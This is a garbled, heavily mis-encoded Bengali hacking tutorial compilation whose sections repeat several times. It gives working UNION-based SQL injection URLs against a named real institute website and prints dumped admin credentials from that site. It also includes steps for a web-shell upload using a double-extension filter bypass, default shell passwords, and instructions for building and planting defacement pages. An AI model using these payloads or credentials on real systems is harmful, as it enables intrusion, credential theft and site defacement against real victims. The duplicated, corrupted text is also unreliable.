as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
